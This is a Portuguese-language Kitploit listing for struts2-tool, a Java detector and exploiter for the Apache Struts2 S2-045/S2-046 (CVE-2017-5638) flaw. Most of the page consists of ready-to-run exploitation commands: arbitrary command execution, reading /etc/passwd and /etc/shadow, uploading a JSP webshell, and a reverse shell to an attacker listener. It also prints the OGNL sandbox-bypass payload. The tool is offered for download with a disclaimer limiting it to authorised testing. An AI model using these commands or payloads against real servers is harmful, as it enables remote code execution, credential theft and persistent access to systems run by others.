Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
struts2-tool — Struts2 S2-045/S2-046 CVE-2017-5638 ferramenta de detecção e exploração | Kitploit
Ferramentas/GitHubGitHub/gu-007/struts2-tool
Scanners de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de PenetraçãoComando e ControleFerramenta de Acesso RemotoDesenvolvimento de Payloads
GitHubgu-007/struts2-tool

struts2-tool

Struts2 S2-045/S2-046 CVE-2017-5638 ferramenta de detecção e exploração

Ver Repositório
135há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Ferramenta de Detecção e Exploração de Vulnerabilidades Struts2 (s2tool)

Uma ferramenta de detecção e exploração de vulnerabilidades Struts2 S2-045 / S2-046 (CVE-2017-5638) implementada puramente em Java. O módulo de detecção cobre as duas vulnerabilidades S2-045 / S2-046, e o módulo de exploração oferece execução de comandos, gerenciamento de arquivos, obtenção de informações, Shell interativo, Shell reverso, upload de Webshell e outros recursos.

Aviso de isenção de responsabilidade: Esta ferramenta destina-se exclusivamente a testes de segurança autorizados, pesquisa de vulnerabilidades e fins educacionais. É estritamente proibido usá-la para fins ilegais não autorizados. O usuário assume toda a responsabilidade legal.


Visão Geral dos Recursos

MóduloSubcomandoDescrição
Detecção de VulnerabilidadesscanDetecta S2-045 / S2-046 (verificação matemática + marcação de impressão digital UUID)
Varredura em LotebatchDetecta vários alvos em lote, gera resumo e relatório JSON
Execução de ComandosexecExecução de comandos arbitrários do sistema + retorno de saída (adaptação automática Win/Linux)
Shell InterativoshellInteração contínua, persistência de diretório cd, comandos internos pwd/webroot/os
Upload de ArquivosuploadGravação direta via OGNL (arquivos pequenos) / escrita segmentada via comandos (arquivos grandes)
Download de ArquivosdownloadDownload codificado em Base64 (seguro para binários)
Diretório Raiz WebgetpathObtém o caminho físico de implantação do aplicativo Web
Informações do SistemasysinfoInformações de SO / usuário / kernel / diretório de trabalho
Shell ReversorevshellShell reverso bash / PowerShell com um clique
Upload de WebshellwebshellGera e faz upload de JSP Webshell (estilo texto puro ?CMD=)
Exportação de Relatóriosscan -rRelatórios JSON / HTML

O recurso de download pode ler arquivos arbitrários do servidor (como /etc/shadow). Use apenas em testes autorizados.


Início Rápido

Requisitos de Ambiente

  • JDK 8 ou superior
  • Maven 3.x (necessário apenas para compilação; não é necessário instalar Maven para executar a ferramenta)

Compilação (Windows)

:: Execute no diretório do projeto
.\build.bat

No PowerShell, é necessário o prefixo .\; no cmd, pode-se executar diretamente build.bat. O build.bat apenas compila e não realiza nenhuma solicitação de rede ou varredura. Após a compilação, a janela permanece aberta e entra na sessão cmd (você pode executar comandos da ferramenta diretamente; digite exit para fechar). Se o seu ambiente não puder gravar no repositório padrão do Maven, defina primeiro a variável de ambiente M2_REPO para um diretório gravável.

Artefato: target\s2tool.jar (fat-jar).

Para Linux/Mac, consulte build.sh

Exemplos de Uso

# 1. Detecção de vulnerabilidades
java -jar s2tool.jar scan http://target/action

# 2. Detecção + exportação de relatório JSON/HTML
java -jar s2tool.jar scan http://target/action -r both

# 3. Execução de comandos
java -jar s2tool.jar exec http://target/action whoami
java -jar s2tool.jar exec http://target/action "cat /etc/passwd | head -5"

# 4. Shell interativo
java -jar s2tool.jar shell http://target/action

# 5. Obter diretório raiz Web / informações do sistema
java -jar s2tool.jar getpath http://target/action
java -jar s2tool.jar sysinfo http://target/action

# 6. Upload / download de arquivos
java -jar s2tool.jar upload http://target/action shell.jsp /usr/local/tomcat/webapps/ROOT/shell.jsp
java -jar s2tool.jar download http://target/action /etc/passwd ./passwd.txt

# 7. Upload de Webshell com um clique (estilo texto puro ?CMD=)
java -jar s2tool.jar webshell http://target/action --name shell.jsp
# Acesse: http://target/shell.jsp?CMD=whoami

# 8. Shell reverso (primeiro escute na máquina atacante: nc -lvnp 4444)
java -jar s2tool.jar revshell http://target/action --lhost 192.168.1.100 --lport 4444

# 9. Varredura em lote
java -jar s2tool.jar batch targets.txt -r json

Formato do Arquivo de Alvos em Lote

# Linhas de comentário começam com # (ignoradas automaticamente)
http://192.168.1.10:8080/login.action
https://vuln.example.com/action

Princípios Técnicos

S2-045 / S2-046 (CVE-2017-5638)

Faixa de versões do anúncio oficial (ambas as vulnerabilidades seguem os anúncios oficiais da Apache, para que os usuários avaliem se o alvo é afetado):

VulnerabilidadeCVEVersões afetadas (versões vulneráveis)Versões corrigidas (versões com patch)
S2-045CVE-2017-5638Struts2 2.3.5 ~ 2.3.31、2.5 ~ 2.5.102.3.32 ou 2.5.10.1 e superiores
S2-046CVE-2017-5638Struts2 2.3.5 ~ 2.3.31、2.5 ~ 2.5.102.3.32 ou 2.5.10.1 e superiores

Esta ferramenta não depende de julgamento por versão; ela determina diretamente se a vulnerabilidade existe com base nos resultados da sondagem de Payload, pois a identificação de versão não é confiável (muitos sites ocultam o número da versão). A tabela acima serve apenas como referência para sua avaliação manual; ela não afeta a lógica de detecção da ferramenta.

Para S2-046, a ferramenta suporta tanto a injeção de byte nulo no filename quanto o caminho de detecção Content-Type com a mesma causa raiz.

Princípio da vulnerabilidade:

  • Mesmo ponto de disparo: Quando o parser Jakarta Multipart encontra uma exceção, ele concatena o conteúdo do cabeçalho controlado pelo usuário (S2-045: Content-Type; S2-046: filename do Content-Disposition) na mensagem de exceção, e a mensagem de exceção é avaliada por OGNL através do processo de tratamento de texto internacionalizado do Struts2 (TextParseUtil.translateVariables)
  • Métodos de exploração diferentes: S2-045 é acionado por um Content-Type inválido; S2-046 é acionado por byte nulo no filename (requer commons-fileupload 1.3.3+) ou Content-Length excessivamente grande (requer configuração jakarta-stream)

Bypass da Sandbox

(#nike='multipart/form-data')                       // Disfarça o Content-Type, passa na verificação contains
(#[email protected]@DEFAULT_MEMBER_ACCESS)       // Obtém o MemberAccess de maior privilégio
(#_memberAccess?(#_memberAccess=#dm):               // Versões antigas: substituição direta
  ((#container=#context['com.opensymphony.xwork2.ActionContext.container'])
   (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))
   (#ognlUtil.getExcludedPackageNames().clear())     // Limpa a lista negra de nomes de pacotes
   (#ognlUtil.getExcludedClasses().clear())          // Limpa a lista negra de classes
   (#context.setMemberAccess(#dm))))                 // Versões novas: limpa listas negras e depois substitui

Testado na prática: No Struts2 2.3.30, a versão simplificada (apenas setMemberAccess) não consegue contornar a sandbox; é necessário usar a versão completa (incluindo o caminho de limpeza de listas negras via OgnlUtil).

Estratégia de Detecção

Baixar ferramenta